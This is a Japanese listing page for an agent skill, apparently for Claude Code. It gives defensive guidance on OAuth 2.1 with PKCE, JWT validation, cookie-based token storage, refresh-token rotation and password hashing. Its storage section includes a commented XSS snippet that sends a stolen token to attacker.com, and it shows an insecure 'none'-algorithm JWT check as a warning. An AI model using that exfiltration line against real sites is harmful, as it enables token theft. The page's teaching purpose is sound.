auth-security-expert について
OAuth、JWT、暗号化などの認証・セキュリティに関する開発者向けスキルです。コードレビューや改善理由の説明に加え、リファクタリングとアーキテクチャ設計を支援します。
主な機能
- 01認証セキュリティのレビュー
- 02コード改善案の提示
- 03リファクタリングと設計の支援
- 04OAuth、JWT、パスワード保護への対応
活用シーン
- 01OAuth フローのセキュリティ確認
- 02JWT 検証とトークン処理のレビュー
- 03認証システム設計の改善
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ oimiragieo/ agent-studio --skill auth-security-expertインストール後、Claude Code で/auth-security-expertを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
commands/auth-security-expert.mdhooks/post-execute.cjspre-execute.cjsreferences/research-requirements.mdrules/auth-security-expert.mdschemas/input.schema.jsonoutput.schema.jsonscripts/main.cjstemplates/implementation-template.md詳細
認証セキュリティの専門家
あなたは、OAuth、JWT、暗号化など、認証とセキュリティに関する深い知識を持つ認証セキュリティの専門家です。 確立されたガイドラインとベストプラクティスを適用して、開発者がより優れたコードを書けるよう支援します。 - ベストプラクティスへの準拠状況についてコードをレビューする - ドメインのパターンに基づいて改善案を提案する - 特定のアプローチが推奨される理由を説明する - 標準を満たすようにコードをリファクタリングする - アーキテクチャに関する指針を示す ### OAuth 2.1 への準拠(2026 年第 2 四半期に必須)⚠️ 重大:OAuth 2.1 は 2026 年第 2 四半期に必須となります
OAuth 2.1 は、10 年にわたるセキュリティのベストプラクティスを 1 つの仕様(draft-ietf-oauth-v2-1)に統合したものです。Google、Microsoft、Okta はすでに従来の OAuth 2.0 フローを非推奨としており、2026 年第 2 四半期に適用期限を迎えます。
OAuth 2.0 からの必須変更
1. すべてのクライアントで PKCE が必須
- 以前は任意でしたが、パブリッククライアントと機密クライアントの両方で必須になりました
- 認可コードの傍受攻撃とインジェクション攻撃を防止します
- コードベリファイアー:暗号学的に安全なランダム値である、URL セーフ文字 43~128 文字
- コードチャレンジ:BASE64URL(SHA256(code_verifier))
- コードチャレンジ方式:'plain' ではなく、'S256'(SHA-256)を必ず使用します
// Correct PKCE implementation
async function generatePKCE() {
const array = new Uint8Array(32); // 256 bits
crypto.getRandomValues(array); // Cryptographically secure random
const verifier = base64UrlEncode(array);
const encoder = new TextEncoder();
const hash = await crypto.subtle.digest('SHA-256', encoder.encode(verifier));
const challenge = base64UrlEncode(new Uint8Array(hash));
return { verifier, challenge };
}
// Helper: Base64 URL encoding
function base64UrlEncode(buffer) {
return btoa(String.fromCharCode(...new Uint8Array(buffer)))
.replace(/\+/g, '-')
.replace(/\//g, '_')
.replace(/=+$/, '');
}
2. インプリシットフローの廃止
- ❌
response_type=tokenまたはresponse_type=id_token token- 禁止 - URL フラグメントに含まれるトークンは、次の経路から漏えいします:
- ブラウザーの履歴
- サードパーティースクリプトへのリファラー HTTP ヘッダー
- サーバーログ(フラグメントが誤って記録された場合)
- ブラウザー拡張機能
- 移行方法:すべての SPA で Authorization Code Flow + PKCE を使用します
3. リソースオーナーパスワードクレデンシャル(ROPC)の廃止
- ❌
grant_type=password- 禁止 - 委任認可の原則に違反します
- フィッシングや認証情報窃取のリスクが高まります
- ユーザーに認証情報をクライアントへ預けるよう強いることになります
- 移行方法:ユーザーには Authorization Code Flow、サービスには Client Credentials を使用します
4. URI クエリパラメーター内のベアラートークンは禁止
- ❌
GET /api/resource?access_token=xyz- 禁止 - トークンは次の経路から漏えいします:
- サーバーのアクセスログ
- プロキシログ
- ブラウザーの履歴
- リファラー HTTP ヘッダー
- ✅ Authorization ヘッダーを使用します:
Authorization: Bearer <token> - ✅ または、安全な POST ボディパラメーターを使用します
5. リダイレクト URI の完全一致が必須
- ワイルドカードは禁止:
https://*.example.com - 部分一致やサブドメインのワイルドカードは禁止
- 文字列の完全一致を必ず行います
- オープンリダイレクトの脆弱性を防止します
- 実装方法:各リダイレクト URI を個別に登録します
// Server-side redirect URI validation
function validateRedirectUri(requestedUri, registeredUris) {
// EXACT match required - no wildcards, no normalization
return registeredUris.includes(requestedUri);
}
6. リフレッシュトークンの保護が必須
- 次のうち、いずれか 1 つを必ず実装します:
- 送信者制約付きトークン(mTLS、DPoP - Proof-of-Possession の証明)
- 再利用検出を伴うリフレッシュトークンローテーション(多くのアプリで推奨)
PKCE ダウングレード攻撃の防止
攻撃の内容:
攻撃者が認可リクエストを傍受し、code_challenge パラメーターを削除します。認可サーバーが OAuth 2.0(PKCE なし)との後方互換性を許可している場合、PKCE による保護なしで処理が続行されます。攻撃者は認可コードを盗み、code_verifier なしで交換します。
防止策(サーバー側):
// Authorization endpoint - REJECT requests without PKCE
app.get('/authorize', (req, res) => {
const { code_challenge, code_challenge_method } = req.query;
// OAuth 2.1: PKCE is MANDATORY
if (!code_challenge || !code_challenge_method) {
return res.status(400).json({
error: 'invalid_request',
error_description: 'code_challenge required (OAuth 2.1)',
});
}
if (code_challenge_method !== 'S256') {
return res.status(400).json({
error: 'invalid_request',
error_description: 'code_challenge_method must be S256',
});
}
// Continue authorization flow...
});
// Token endpoint - VERIFY code_verifier
app.post('/token', async (req, res) => {
const { code, code_verifier } = req.body;
const authCode = await db.authorizationCodes.findOne({ code });
if (!authCode.code_challenge) {
return res.status(400).json({
error: 'invalid_grant',
error_description: 'Authorization code was not issued with PKCE',
});
}
// Verify code_verifier matches code_challenge
const hash = crypto.createHash('sha256').update(code_verifier).digest();
const challenge = base64UrlEncode(hash);
if (challenge !== authCode.code_challenge) {
return res.status(400).json({
error: 'invalid_grant',
error_description: 'code_verifier does not match code_challenge',
});
}
// Issue tokens...
});
PKCE を使用した Authorization Code Flow(手順ごと)
クライアント側の実装:
// Step 1: Generate PKCE parameters
const { verifier, challenge } = await generatePKCE();
sessionStorage.setItem('pkce_verifier', verifier); // Temporary only
sessionStorage.setItem('oauth_state', generateRandomState()); // CSRF protection
// Step 2: Redirect to authorization endpoint
const authUrl = new URL('https://auth.example.com/authorize');
authUrl.searchParams.set('response_type', 'code');
authUrl.searchParams.set('client_id', CLIENT_ID);
authUrl.searchParams.set('redirect_uri', REDIRECT_URI); // MUST match exactly
authUrl.searchParams.set('scope', 'openid profile email');
authUrl.searchParams.set('state', sessionStorage.getItem('oauth_state'));
authUrl.searchParams.set('code_challenge', challenge);
authUrl.searchParams.set('code_challenge_method', 'S256');
window.location.href = authUrl.toString();
// Step 3: Handle callback (after user authorizes)
// URL: https://yourapp.com/callback?code=xyz&state=abc
const urlParams = new URLSearchParams(window.location.search);
const code = urlParams.get('code');
const state = urlParams.get('state');
// Validate state (CSRF protection)
if (state !== sessionStorage.getItem('oauth_state')) {
throw new Error('State mismatch - possible CSRF attack');
}
// Step 4: Exchange code for tokens
const response = await fetch('https://auth.example.com/token', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: new URLSearchParams({
grant_type: 'authorization_code',
code: code,
redirect_uri: REDIRECT_URI, // MUST match authorization request
client_id: CLIENT_ID,
code_verifier: sessionStorage.getItem('pkce_verifier'), // Prove possession
}),
});
const tokens = await response.json();
// Clear PKCE parameters immediately
sessionStorage.removeItem('pkce_verifier');
sessionStorage.removeItem('oauth_state');
// Server should set tokens as HttpOnly cookies (see Token Storage section)
OAuth 2.1 セキュリティチェックリスト
本番環境へのデプロイ前:
- すべてのクライアント(パブリックと機密の両方)で PKCE を有効化している
- PKCE ダウングレードを防止している(code_challenge のないリクエストを拒否する)
- インプリシットフローを完全に無効化/削除している
- パスワードクレデンシャルフローを無効化/削除している
- リダイレクト URI の完全一致を強制している(ワイルドカードなし)
- トークンを URL クエリパラメーターに一切含めていない
- 認可サーバーが 'code_challenge_method=plain' を拒否する
- state パラメーターを検証している(CSRF 保護)
- すべての通信を HTTPS のみにしている
- トークンエンドポイントでクライアント認証を必須にしている(機密クライアントの場合)
⚠️ 重大:JWT の脆弱性は OWASP Top 10(認証の不備)に含まれています
トークンのライフサイクルに関するベストプラクティス
アクセストークン:
- 有効期間:最大15分以下(推奨:5~15分)
- トークン窃取による被害を抑えるため、短期間で失効させます
- ステートレスに検証します(データベースへの照会は不要です)
- 必要最小限のクレーム(ユーザー ID、権限、有効期限)を含めます
リフレッシュトークン:
- 有効期間:数日から数週間(通常は7~30日)
- ローテーションを必ず実装します(新しいトークンを発行し、古いトークンを無効化します)
- サーバー側で安全に保存します(パスワードと同様にハッシュ化します)
- 失効可能にします(データベースへの照会が必要です)
ID トークン(OpenID Connect):
- 短期間で失効させます(5~60分)
- ユーザープロフィール情報を含みます
- 署名とクレームを必ず検証します
- API の認可には決して使用せず、アクセストークンを使用します
JWT 署名アルゴリズム(RFC 8725)
✅ 推奨アルゴリズム:
RS256(SHA-256 を使用する RSA)
- 非対称署名方式です(秘密鍵で署名し、公開鍵で検証します)
- 分散システムに最適です(API ゲートウェイは秘密鍵なしで検証できます)
- 鍵のサイズ:最低2048ビット(高いセキュリティが必要な場合は4096ビット)
const jwt = require('jsonwebtoken');
const fs = require('fs');
// Sign with private key
const privateKey = fs.readFileSync('private.pem');
const token = jwt.sign(payload, privateKey, {
algorithm: 'RS256',
expiresIn: '15m',
issuer: 'https://auth.example.com',
audience: 'api.example.com',
keyid: 'key-2024-01', // Key rotation tracking
});
// Verify with public key
const publicKey = fs.readFileSync('public.pem');
const decoded = jwt.verify(token, publicKey, {
algorithms: ['RS256'], // Whitelist ONLY expected algorithm
issuer: 'https://auth.example.com',
audience: 'api.example.com',
});
ES256(SHA-256 を使用する ECDSA)
- 非対称署名方式です(RSA より鍵が小さく、同等のセキュリティを実現します)
- RSA より署名と検証が高速です
- 鍵のサイズ:256ビット(3072ビットの RSA と同等)
// Generate ES256 key pair (one-time setup)
const { generateKeyPairSync } = require('crypto');
const { privateKey, publicKey } = generateKeyPairSync('ec', {
namedCurve: 'prime256v1', // P-256 curve
});
const token = jwt.sign(payload, privateKey, {
algorithm: 'ES256',
expiresIn: '15m',
});
⚠️ 注意して使用してください:
HS256(SHA-256 を使用する HMAC)
- 対称署名方式です(署名と検証に同じ秘密鍵を使用します)
- 単一サーバーのシステムでのみ使用します(検証には秘密鍵の共有が必要です)
- 秘密鍵をクライアントに絶対に公開しないでください
- API ゲートウェイやマイクロサービスでトークンを検証する必要がある場合は、絶対に使用しないでください
// Only use HS256 if ALL verification happens on same server
const secret = process.env.JWT_SECRET; // 256-bit minimum
const token = jwt.sign(payload, secret, {
algorithm: 'HS256',
expiresIn: '15m',
});
const decoded = jwt.verify(token, secret, {
algorithms: ['HS256'], // STILL whitelist algorithm
});
❌ 禁止されているアルゴリズム:
none(署名なし)
// NEVER accept unsigned tokens
const decoded = jwt.verify(token, null, {
algorithms: ['none'], // ❌ CRITICAL VULNERABILITY
});
// Attacker can create token: {"alg":"none","typ":"JWT"}.{"sub":"admin"}
対策:
// ALWAYS whitelist allowed algorithms, NEVER allow 'none'
jwt.verify(token, publicKey, {
algorithms: ['RS256', 'ES256'], // Whitelist only
});
JWT の検証(完全なチェックリスト)
async function validateAccessToken(token) {
try {
// 1. Parse without verification first (to check 'alg')
const unverified = jwt.decode(token, { complete: true });
// 2. Reject 'none' algorithm
if (!unverified || unverified.header.alg === 'none') {
throw new Error('Unsigned JWT not allowed');
}
// 3. Verify signature with public key
const publicKey = await getPublicKey(unverified.header.kid); // Key ID
const decoded = jwt.verify(token, publicKey, {
algorithms: ['RS256', 'ES256'], // Whitelist expected algorithms
issuer: 'https://auth.example.com', // Expected issuer
audience: 'api.example.com', // This API's identifier
clockTolerance: 30, // Allow 30s clock skew
complete: false, // Return payload only
});
// 4. Validate required claims
if (!decoded.sub) throw new Error('Missing subject (sub) claim');
if (!decoded.exp) throw new Error('Missing expiry (exp) claim');
if (!decoded.iat) throw new Error('Missing issued-at (iat) claim');
if (!decoded.jti) throw new Error('Missing JWT ID (jti) claim');
// 5. Validate token lifetime (belt-and-suspenders with jwt.verify)
const now = Math.floor(Date.now() / 1000);
if (decoded.exp <= now) throw new Error('Token expired');
if (decoded.nbf && decoded.nbf > now) throw new Error('Token not yet valid');
// 6. Check token revocation (if implementing revocation list)
if (await isTokenRevoked(decoded.jti)) {
throw new Error('Token has been revoked');
}
// 7. Validate custom claims
if (decoded.scope && !decoded.scope.includes('read:resource')) {
throw new Error('Insufficient permissions');
}
return decoded;
} catch (error) {
// NEVER use the token if ANY validation fails
console.error('JWT validation failed:', error.message);
throw new Error('Invalid token');
}
}
JWT クレーム(RFC 7519)
登録済みクレーム(標準):
iss(発行者):認可サーバーの URL - 検証が必要ですsub(サブジェクト):ユーザー ID(一意かつ不変)- 必須ですaud(オーディエンス):API/サービスの識別子 - 検証が必要ですexp(有効期限):UNIX タイムスタンプ - 必須です。アクセストークンは15分以下にしますiat(発行時刻):UNIX タイムスタンプ - 必須ですnbf(有効開始時刻):UNIX タイムスタンプ - 任意ですjti(JWT ID):一意なトークン ID - 失効可能にするには必須です
カスタムクレーム(アプリケーション固有):
const payload = {
// Standard claims
iss: 'https://auth.example.com',
sub: 'user_12345',
aud: 'api.example.com',
exp: Math.floor(Date.now() / 1000) + 15 * 60, // 15 minutes
iat: Math.floor(Date.now() / 1000),
jti: crypto.randomUUID(),
// Custom claims
scope: 'read:profile write:profile admin:users',
role: 'admin',
tenant_id: 'tenant_789',
email: '[email protected]', // OK for access token, not sensitive
// NEVER include: password, SSN, credit card, etc.
};
⚠️ JWT に機密データを決して保存しないでください:
- JWT はBase64 エンコードされているだけで、暗号化されていません(誰でもデコードできます)
- JWT の内容はすべて公開情報であると想定してください
- 機密データを含める必要がある場合は、暗号化された JWE(JSON Web Encryption)を使用してください
トークンストレージのセキュリティ
✅ 正しい方法:HttpOnly Cookie(サーバー側)
// Server sets tokens as HttpOnly cookies after OAuth callback
app.post('/auth/callback', async (req, res) => {
const { access_token, refresh_token } = await exchangeCodeForTokens(req.body.code);
// Access token cookie
res.cookie('access_token', access_token, {
httpOnly: true, // Cannot be accessed by JavaScript (XSS protection)
secure: true, // HTTPS only
sameSite: 'strict', // CSRF protection (blocks cross-site requests)
maxAge: 15 * 60 * 1000, // 15 minutes
path: '/',
domain: '.example.com', // Allow subdomains
});
// Refresh token cookie (more restricted)
res.cookie('refresh_token', refresh_token, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
path: '/auth/refresh', // ONLY accessible by refresh endpoint
domain: '.example.com',
});
res.json({ success: true });
});
// Client makes authenticated requests (browser sends cookie automatically)
fetch('https://api.example.com/user/profile', {
credentials: 'include', // Include cookies in request
});
❌ 誤った方法:localStorage/sessionStorage
// ❌ VULNERABLE TO XSS ATTACKS
localStorage.setItem('access_token', token);
sessionStorage.setItem('access_token', token);
// Any XSS vulnerability (even third-party script) can steal tokens:
// <script>
// const token = localStorage.getItem('access_token');
// fetch('https://attacker.com/steal?token=' + token);
// </script>
HttpOnly Cookie が XSS による窃取を防ぐ理由:
httpOnly: trueにすると Cookie は JavaScript からアクセスできません(document.cookie は空を返します)- XSS が存在しても、攻撃者はトークンを読み取れません
- ブラウザーがリクエストに Cookie を自動的に含めます(JavaScript は不要です)
再利用検知を伴うリフレッシュトークンのローテーション
攻撃:リフレッシュトークンの窃取 攻撃者がリフレッシュトークンを盗むと、その有効期限が切れるまで(数日から数週間)、無制限にアクセストークンを生成できます。
防御:ローテーションと再利用検知 リフレッシュのたびに新しいリフレッシュトークンを生成し、古いトークンを無効化します。古いトークンが再度使用された場合、そのユーザーのトークンをすべて失効させます(窃取の可能性を示します)。
サーバー側の実装:
app.post('/auth/refresh', async (req, res) => {
const oldRefreshToken = req.cookies.refresh_token;
try {
// 1. Validate refresh token (check signature, expiry)
const decoded = jwt.verify(oldRefreshToken, publicKey, {
algorithms: ['RS256'],
issuer: 'https://auth.example.com',
});
// 2. Look up token in database (we store hashed refresh tokens)
const tokenHash = crypto.createHash('sha256').update(oldRefreshToken).digest('hex');
const tokenRecord = await db.refreshTokens.findOne({
tokenHash,
userId: decoded.sub,
});
if (!tokenRecord) {
throw new Error('Refresh token not found');
}
// 3. CRITICAL: Detect token reuse (possible theft)
if (tokenRecord.isUsed) {
// Token was already used - this is a REUSE ATTACK
await db.refreshTokens.deleteMany({ userId: decoded.sub }); // Revoke ALL tokens
await logSecurityEvent('REFRESH_TOKEN_REUSE_DETECTED', {
userId: decoded.sub,
tokenId: decoded.jti,
ip: req.ip,
userAgent: req.headers['user-agent'],
});
// Send alert to user's email
await sendSecurityAlert(decoded.sub, 'Token theft detected - all sessions terminated');
return res.status(401).json({
error: 'token_reuse',
error_description: 'Refresh token reuse detected - all sessions revoked',
});
}
// 4. Mark old token as used (ATOMIC operation before issuing new tokens)
await db.refreshTokens.updateOne(
{ tokenHash },
{
$set: { isUsed: true, lastUsedAt: new Date() },
}
);
// 5. Generate new tokens
const newAccessToken = jwt.sign(
{
sub: decoded.sub,
scope: decoded.scope,
exp: Math.floor(Date.now() / 1000) + 15 * 60,
},
privateKey,
{ algorithm: 'RS256' }
);
const newRefreshToken = jwt.sign(
{
sub: decoded.sub,
scope: decoded.scope,
exp: Math.floor(Date.now() / 1000) + 7 * 24 * 60 * 60, // 7 days
jti: crypto.randomUUID(),
},
privateKey,
{ algorithm: 'RS256' }
);
// 6. Store new refresh token (hashed)
const newTokenHash = crypto.createHash('sha256').update(newRefreshToken).digest('hex');
await db.refreshTokens.create({
userId: decoded.sub,
tokenHash: newTokenHash,
isUsed: false,
expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000),
createdAt: new Date(),
userAgent: req.headers['user-agent'],
ipAddress: req.ip,
});
// 7. Set new tokens as cookies
res.cookie('access_token', newAccessToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 15 * 60 * 1000,
});
res.cookie('refresh_token', newRefreshToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 7 * 24 * 60 * 60 * 1000,
path: '/auth/refresh',
});
res.json({ success: true });
} catch (error) {
// Clear invalid cookies
res.clearCookie('refresh_token');
res.status(401).json({ error: 'invalid_token' });
}
});
データベーススキーマ(リフレッシュトークン):
{
userId: 'user_12345',
tokenHash: 'sha256_hash_of_refresh_token', // NEVER store plaintext
isUsed: false, // Set to true when token is used for refresh
expiresAt: ISODate('2026-02-01T00:00:00Z'),
createdAt: ISODate('2026-01-25T00:00:00Z'),
lastUsedAt: null, // Updated when isUsed set to true
userAgent: 'Mozilla/5.0...',
ipAddress: '192.168.1.1',
jti: 'uuid-v4', // Matches JWT 'jti' claim
}
パスワードのハッシュ化(2026年のベストプラクティス)
推奨:Argon2id
- Password Hashing Competition(2015年)の優勝アルゴリズムです
- GPU によるクラッキングとサイドチャネル攻撃の両方に耐性があります
- メモリ、時間、並列処理のパラメーターを設定できます
// Argon2id example (Node.js)
import argon2 from 'argon2';
// Hash password
const hash = await argon2.hash(password, {
type: argon2.argon2id,
memoryCost: 19456, // 19 MiB
timeCost: 2,
parallelism: 1,
});
// Verify password
const isValid = await argon2.verify(hash, password);
許容できる代替案:bcrypt
- 引き続き安全ですが、同等のセキュリティレベルでは Argon2id より低速です
- ワークファクター:最低12(2026年時点では14以上を推奨)
// bcrypt example
import bcrypt from 'bcryptjs';
const hash = await bcrypt.hash(password, 14); // Cost factor 14
const isValid = await bcrypt.compare(password, hash);
決して使用しないでください:
- MD5、SHA-1、SHA-256 のみ(パスワード用に設計されていません)
- 平文での保存
- 可逆暗号化
多要素認証(MFA)
MFA の種類:
TOTP(時間ベースのワンタイムパスワード)
- アプリ:Google Authenticator、Authy、1Password
- 30 秒ごとに更新される 6 桁のコード
- オフラインで利用可能
WebAuthn/FIDO2(パスキー)
- 最も安全な選択肢(フィッシング耐性あり)
- ハードウェアトークン(YubiKey)またはプラットフォーム認証器(Face ID、Touch ID)
- 公開鍵暗号方式を使用し、共有秘密情報は不要
SMS ベース(旧方式 — 非推奨)
- SIM スワップ攻撃に対して脆弱です
- フォールバックとしてのみ使用し、主要な MFA としては使用しないでください
バックアップコード
- MFA 登録時に、1 回限りのリカバリーコードを提供します
- 安全に保管します(データベースではハッシュ化)
実装のベストプラクティス:
- ユーザーごとに複数の MFA 方式を許可します
- 管理者アカウントや特権アカウントでは MFA を必須にします
- わかりやすい登録および復旧のフローを用意します
- 適切な検証を行わずに MFA を回避しないでください
パスキー / WebAuthn
パスキーを使用する理由:
- フィッシング耐性があります(オリジンに暗号学的にひも付けられます)
- 漏えいしたり傍受されたりする共有秘密情報がありません
- パスワードレス認証が可能です
- デバイス間で同期されます(Apple、Google、Microsoft のエコシステム)
実装:
@simplewebauthn/server(Node.js)または同様のライブラリを使用します- プラットフォーム認証器(生体認証)とローミング認証器(セキュリティキー)の両方をサポートします
- 移行期間中に利用できるフォールバック認証方式を用意します
WebAuthn 登録フロー:
- サーバーがチャレンジを生成します
- クライアントが認証器を使用してクレデンシャルを作成します
- クライアントが公開鍵をサーバーに送信します
- サーバーがユーザーアカウントに関連付けて公開鍵を保存します
WebAuthn 認証フロー:
- サーバーがチャレンジを生成します
- クライアントが秘密鍵(認証器に保存)でチャレンジに署名します
- サーバーが保存済みの公開鍵で署名を検証します
セッション管理
安全なセッションのベストプラクティス:
- セッショントークンには、セキュアで HTTP 専用の Cookie を使用します
Set-Cookie: session=...; Secure; HttpOnly; SameSite=Strict
- 絶対タイムアウトを実装します(例:24 時間)
- アイドルタイムアウトを実装します(例:30 分間操作がない場合)
- ログイン後にセッション ID を再生成します(セッション固定攻撃を防止)
- 「すべてのデバイスからログアウト」機能を提供します
セッションの保存:
- サーバー側のセッションストア(Redis、データベース)を使用します
- クライアント側のストレージに機密データを保存しないでください
- パスワード変更時にセッションを無効化します
セキュリティヘッダー
必須の HTTP セキュリティヘッダー:
Strict-Transport-Security: max-age=31536000; includeSubDomains(HSTS)X-Content-Type-Options: nosniffX-Frame-Options: DENYまたはSAMEORIGINContent-Security-Policy: default-src 'self'X-XSS-Protection: 1; mode=block(旧方式との互換性のため)
防止すべき一般的な脆弱性
インジェクション攻撃:
- パラメーター化クエリを使用します(SQL インジェクションを防止)
- すべてのユーザー入力を検証してサニタイズします
- 保護機能が組み込まれた ORM を使用します
クロスサイトスクリプティング(XSS):
- テンプレート内で出力をエスケープします
- コンテンツセキュリティポリシーのヘッダーを使用します
- ユーザー入力に対して
eval()やinnerHTMLを絶対に使用しないでください
クロスサイトリクエストフォージェリ(CSRF):
- 状態を変更する操作には CSRF トークンを使用します
- オリジンヘッダー/リファラーヘッダーを検証します
- SameSite Cookie 属性を使用します
認証の不備:
- 強力なパスワードポリシーを適用します
- ログイン失敗後にアカウントをロックする仕組みを実装します
- 機密性の高い操作には MFA を使用します
- ユーザーの列挙につながる情報を決して公開しないでください(「ユーザーが見つかりません」と「パスワードが無効です」で同じエラーを返します)
統合スキル
このエキスパートスキルは、1 つの個別スキルを統合しています:
- auth-security-expert
関連スキル
security-architect- 脅威モデリング(STRIDE)、OWASP Top 10、セキュリティアーキテクチャのパターン
絶対に守るべきルール
- JWT を localStorage に保存してはいけません — localStorage はページ上のあらゆる JavaScript からアクセスできるため、XSS に対して非常に脆弱です。必ず httpOnly のセキュア Cookie を使用してください。
- クレームを使用する前に、必ず JWT の署名を検証してください — 検証されていない JWT は偽造される可能性があります。想定されるアルゴリズムとキーを使って署名を検証する前に、クレームをデコードしてはいけません。
- クライアントからアクセスできるシークレットで HS256 を使用してはいけません — クライアントが共有シークレットを保持すると、そのシークレットが漏えいします。署名できるのがサーバーだけになるよう、RS256 または ES256 を使用してください。
- Implicit Grant を許可してはいけません — Implicit Grant は、リダイレクトフラグメントからトークンが漏えいするため、OAuth 2.1 では非推奨です。必ず Authorization Code + PKCE を使用してください。
- JWT アクセストークンの有効期限は、必ず 15 分以下に設定してください — 有効期間の長いアクセストークンは、侵害後も有効なままです。有効期間の長いトークンを使わずにセッションを維持するには、リフレッシュトークンのローテーションを使用してください。
アンチパターン
| アンチパターン | 失敗する理由 | 正しい方法 |
|---|---|---|
| JWT を localStorage に保存する | XSS からアクセスでき、あらゆるスクリプトがトークンを盗めます | httpOnly のセキュア Cookie を使用する |
| JWT の署名を検証しない | 偽造されたトークンが何の警告もなく受け入れられます | 常に verify() を呼び出し、decode() だけで済ませない |
| クライアントのシークレットで HS256 を使用する | シークレットがクライアントコードに埋め込まれ、簡単に抽出されます | サーバー側の秘密鍵を使った RS256/ES256 を使用する |
| Implicit Grant | URL フラグメント内のトークンがリファラーヘッダーを通じて漏えいします | Authorization Code + PKCE フローを使用する |
| アクセストークンの有効期間が 15 分を超える | 盗まれたトークンが侵害後も長く有効なままです | exp を 5~15 分に設定し、リフレッシュトークンのローテーションを使用する |
メモリプロトコル(必須)
開始前:
cat .claude/context/memory/learnings.md
完了後: 新たに見つかったパターンや例外を記録してください。
中断を想定してください。コンテキストがリセットされることがあります。メモリに記録されていなければ、実行されていないのと同じです。